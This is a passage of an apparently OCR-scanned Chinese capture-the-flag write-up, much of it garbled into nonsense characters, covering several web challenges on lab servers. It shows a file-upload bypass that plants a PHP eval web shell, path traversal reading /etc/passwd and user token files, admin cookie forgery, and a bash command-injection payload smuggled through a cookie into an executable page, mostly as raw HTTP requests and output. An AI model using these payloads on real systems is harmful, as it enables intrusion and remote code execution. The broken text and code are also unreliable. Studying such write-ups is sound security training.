Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://111.198.29.45:39430/index.php

Connection: close

Cookie: PHPSESSID=7t145pemhkpk1I5torlqvcivr4; user=4b9987ccafacb8d8fc08d22bhca797ba
Upgrade-Insecure-Requests: 1

Content-Length: 2

5. BEMTEIRR:
module=filemanage&do=upload 7] PAF B|—4~ LAE T

Just image?

WS | SRR,

6. XEANM)ERHAT

3

upload

</head>

<body>

<style type="text/css">

* { margin: Opx; padding: Opx; }

.clearfix:after { content: "."; display: block; height: Opx; clear: both; visibility: hidden; }

.wbox { width: 500px; margin: 20px auto }

.switchTab { border-bottom: 1px solid #CCC; margin-bottom: 10px }

.switchTab a { color: #444; font-size: 13px; background: #F5F5F5; display: block; text-decoration:
none; border-top-left-radius: 5px; border-top-right-radius: 5px; float: left; margin-right: 5px;
border: 1px solid #CCC; border-bottom: none; padding: 3px 10px; }

.switchTab a.cur { color: #888; background: #FFF; }

.profileTable { font-size: 13px; width: 100%; margin: 10px Opx; border-collapse: collapse; }
.profileTable td { border-top:1px solid #CCC; border-bottom: 1px solid #CCC; padding: 5px; }
.profileTable td:nth-of-type(2n+1) { font-weight: bold; text-align: center; }

.px { border: 1px solid #CCC; padding:5px 3px; border-radius: 5px; margin:5px 0; width: 150px }
button.px { display: block; font-size: 15px; width: 100px; height: 35px; background: #36C;
border-radius: 3px; border: none; color: #FFF }

</style>

<div class="wbox">
<div class="container" >
<p>Where Is The Flag?</p>
<p style="font-size:100px">:)</p>
</div>
Leliy
<I-- index.php?module=filemanage&do=777-- >
</body>
</html>

?module=filemanage&do=2?? , Hmodule}f |do/ %} upload , V5 /index.php?

RAZBLIE, FNSAREFRIIIRAR, FrLAABEEL <2php 7k, FTRAA <script

language="php"> ... php code... </script> R#iT5et, %Ll jpg FE L, IMBBUELN phps B phps , BIATE Flflag.

POST /index.php?module=filemanage&do=upload HTTP/1.1

Host: 111.198.29.45:39430

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xmlapplication/xml,q=0.9*/*q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://111.198.29.45:39430/index.php?module=admin

Content-Type: multipart/form-data; boundary=---------=-===nmmmomeemmmmv 85793224819386
Content-Length: 244

Connection: close

Cookie: PHPSESSID=7t145pemhkpk115torlqvcivr4; user=4b9987ccafach8d8fc08d22bbca797ba
Upgrade-Insecure-Requests: 1

7777777777777777777777 85793224819386
Content-Disp on: form-data; name="upfile"; filename= "shellu

Content-Typelimage/jped|

hp">@eval($_POST[passl);</script> |
857932248T9386—-

|<scri pt languag

Iy
P

HTTP/1.1 200 OK

Date: Sun, 11 Aug 2019 15:13:11 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-Tubuntu4.26
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 287

Connection: close

Content-Type: text/html

<!/DOCTYPE html>
<html>
<head>
<title>Message</title>
<meta charset="UTF-8" />
</head>
<body>

T@M@W b is the
flag:cyberpeace{8fd1221ad6707cc9c59a170e4a8499¢3}"); k/script > <script >window.location.href="ind
o 4 SCTTPT JSROAY 4 TIUTIT




1. ARG, B—MRURIZERA, BEMNKS GEMKIRNEEFIR—T, FEadmink/) , ERIMTK)EH

= wtf o

2. WRIWUERER, WIZRG+FEEadmin, MiZitZEpEladming 7T, Z2R—FRE, AT JUNTEE, EEDurliE
AA /profile.wtfruser=.. fl /post.wtf?post=k8laH A G AT, WK KMAEHFBFE, o DMEREESCH.

<« c o @ 111.198.29.45:37701/profile.wif?user=../../../../../etc/passwd
Byaisses ByaieEses Oydaeses Qsrms DNarms O sems DN arms O sems

root:x:0:0:root:/root:/bin/bash’s posts:

4. /post.wtf?post=../../ RIFTEREESHEEREMNT £, #ERRIFEag:

Posted by

$ source user functions.sh
<html> <head> <link rel="stylesheet” type="text/css" href="/css/std.css” > </head> $ if contains 'user’ ${{URL PARAMS[@]}
&8 file_exists "users/${URL PARAMS['user]}” $ then $ local username=$(head -n 1 users/${URL PARAMS['user']}); $ echo

"<h3>${username}'s posts:</h3>"; § echo "<ol>"; $ get users posts "${username}" | while read -r post; do $ post_slug=$(awk
-F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li> <a href=\"/postwif?post=${post slug}\">$(nth line 2 "${post}" | htmlentities)
<fa></li>"; $ done % echo "</ol>"; § if is logged in && [[ "${COOKIES['USERNAME']}" = ‘admin’ ]] && [[ ${username} = 'admin’

1'$then $ get @1 $ fi $ fi </html>

T, £—Bbashiiz:

<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file exists "users/${URL_PARAMS[ 'user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS|[ 'user']})

$ echo "<h3>${username}'s posts:</h3>"

$ echo "<ol>"

$ get_users_posts "${username}" | while read -r post; do

$ post_slug=$(awk -F/ "{print $2 "#" $3}' <<< "${post}")

$ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></1i>"
$ done

$ echo "</ol>"

$ if is_logged in && "${COOKIES[ 'USERNAME']}" = 'admin' && ${username} = 'admin'
$ then

$ get flagl

$ fi

$ fi

</html>

WME—T, RIUEREadming 4 Bk, #AeERflagl T .



5. TRIE—TFHEMEKF, RIMCookiedH TokenFB, M iZ 2 E il T UM% B E Fladminft Tokenidk 170k i & fi :

GET / HTTP/1.1

Host: 111.198.29.45:37701

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0

Accept: text/html,application/xhtml+xml,application/xml,q=0.9,*/*,q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK:q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: USERNAME=Lethe;
TOKEN=L6Kg60pXEieDZmUkK/z2j28FYaGIP1e+ibAWUSEE2USufZxI3ZOmMcA3cp3MQpTyrMVqP3XIsDrw
+R+nai8jlg==

Upgrade-Insecure-Requests: 1

VI HIEIRRT Jusers B, FRMIE /post.wtf?post=../users BIRJ{LE]:

Posted by

aed75a820abb5ade1d2e8b427b59d53d15f1f715
uYpiNNf/X0/0xNfgmsuoKFEtRIQDWNbS2T6LdAHDRWHS5p3x4bL4sxNORMg17KJhAmTMyr8Sem+ +fldP0scW7g3w==

thi&Cookie s Ui & fti, FFlflag1:

Flag: xctf{cb49256d1ab48803

[® (] | Elements console Sources  Network  Performance  Memory  Application  Security  Audits  EditThisCookie  HackBar 1| ¢

LOAD URL SPLIT URL EXECUTE URL sqLl XSS LFI ENCODING HASHING

http://111.198.29.45:37701/profile.wtf?user=jivfk
ADD HEADER

Cookie ¥ USERNAME=admin; TOKEN=UYpiNNf/X0/0xNfgms X

Get flag2
2% hitps://github.com/ernw/ctf-writeups/tree/master/csaw2016/wtf.sh

THHMERNag2 T, WAEMRABEEFRNBINEN, KM TR, AT MEKEHEE wif , BHTwCH IR I
T



max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page pathname
local pathname=$1
local cmd=
[[ ${pathname(-4)} = ".wtf"' 1];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -1t $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script Line or not ($ at the beginning implies script Line)
# also, our extension needs to be .wtf
[[ $ = ${1ine0l} && ${can_execute} =0 ]1];
is_script=$%;
# execute the Lline.
if [[ $is_script = 0 ]]
then
cmd+=$"'n"${1line#g};
else
if [[ -n $cmd ]]
then
eval $cmd 1log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!p
fi

H BRI &, wif FREK S, AREM ¢ Lk, BITHATERMHS.
F1Epost_functions.sh3 4+ & FlreplyTh e V5D -

function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username

${username}");

curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply id});

echo "${username}" > "${next file}";

echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";

echo "${text}" >> "${next file}";

# add post this is in reply to to posts cache

echo "${post_id}/${next_reply id}" >> "users_lookup/${hashed}/posts”;

fEreplyZhRerf, HIREIRME TR, SBEGETH XX postZHfkiEn 7D , HHRXANSHMAE B FBHITA, XHHAT L
FERMNBER T M QRMHT . BRikzsh, ZRBEHA LB ZCtT.

Bk, BATATCAEM—AClshelldr @ 9 A KK, FFE FreplyZh BEX H B AR wif U, BUAT LLBEAT A7 & $AT .



ZRBIEE MM E—ATE TR S, Bk, mRBROIRZEM T —MEH Kshellis S 4, FHEHSANLLwfE RIS
P BIRATAT LAY 2SR B e, BAMSARMNMPATRIG. KIlusers_lookup H REAHBE .noread X, FLFRATAT LA
# Wit S5 Ausers_lookup

BE—AFEEER, AEMEEE, APPSR mEHBEENSHI— R, TR, #irsed, HkEmE- 4
N: ${find,/,-iname,get_flag2} MK, FEreplyIBHEIEIHIE K postSHu T :

POST /replywtfipost=../users lookup/lethe.sh%09 HTTP/1.1

Host: 111.198.29.45:58263

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/htmlapplication/xhtml+xml,application/xml;.q=0.9,*/*q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://111.198.29.45:58263/reply.witf?post=K8laH

Content-Type: application/x-www-form-urlencoded

Content-Length: 16

Connection: close

Cookie: USERNAME=${find,/,-iname,get flag2};
TOKEN=CKqtyD8YusVITM1IS7Vqb5+DjT7m8gyMs68aTY7IsBBelv3ibTHK6JNjxlkuzysrvomrLVAnWHVAFfNi k
3AllNMw==

Upgrade-Insecure-Requests: 1

text=123&submit=

EE LW %00 AKTFHIRRF, BRAEMLE, HUWXEAKRBEENERLRK.

SRJEV5 A /users_lookup/lethe.wtf f5%:

< C @ @ 111.198.29.45:58263/users lookup/lethe.wtf
B xamesss Bxaesss Byaesus O ares Darss O ares Dases O

/usr/bin/get flag2 RE: 123

&G, BEM—ANHFLA $/usr/bin/get_flag2 KK/, BEE ERISEREH,

<« ¢ @ 111.198.29.45:58263/users _lookup/lethe.wtf
BExamesss Bxmesss Bxmesss O ares D ares O sres D asss O st

Flag: 149e5ec49d3c29ca} 7€ RE: 123

web2 (NSCTPF)

1. EANBHESH T —MNERHEY, BRBEREGURMRT, W% R, RS SURE REI




<?php
$miwen="al1zLbgQsCESEIqRLWUQAYMwWLYq2L5VwWBXxqGA3RQAyuUmZOtmMvSGM2ZwBAtws"

function encode($str
$ o=strrev($str

for($_0=0;% _o<strlen($ o0);$_0++
$ c=substr($ o,$%$ 0,1
$ =ord($ _c)+1
$_c=chr($__
$_=%_.%_c

return str_rotl3(strrev(base64_encode($_

highlight_file(_ FILE__

?>

(2) K — 2R, MBEREHAESR, B REFZHE => SNFHOASCIINL => base6d%ild => REFHH => rotlds
]

iU ERBERERRIT T, Bl: rotl3f@iy => REFFHEH => base6d#il => BANFRHMASCIIML => REFHRH
Ohfrot1 34w i id ) = 5 B 7E #EAT — IR rot1 34w A B A A#AD )
R AT .
<?php
$miwen="a1zLbgQsCESEIqRLWUQAYMwLYq2L5VwBXqGA3RQAyumZotmMvSGM2ZwB4tws "
function decode($str
$ o = base64_decode(strrev(str_rotl3($str
for($_0=0;%_0<strlen($ o0);$_0++
$ _c=substr($_o,$%$ 0,1
$ =ord($_c)-1
$_c=chr($__

$ =%_.%_c

return strrev($_

echo decode($miwen
?>

xR

PS E:\CTF\IZ ittt 7 \web\web2> php decode.php
PHP Notice: Undefined variable: _ in E:\CTF\

Notice: Undefined variable: _ in E:\CTF\ ﬂf?%\web\web?\decode.php on line 12
flag: {NSCTF_b73d5adfb819c64603d7237fa0d52977}
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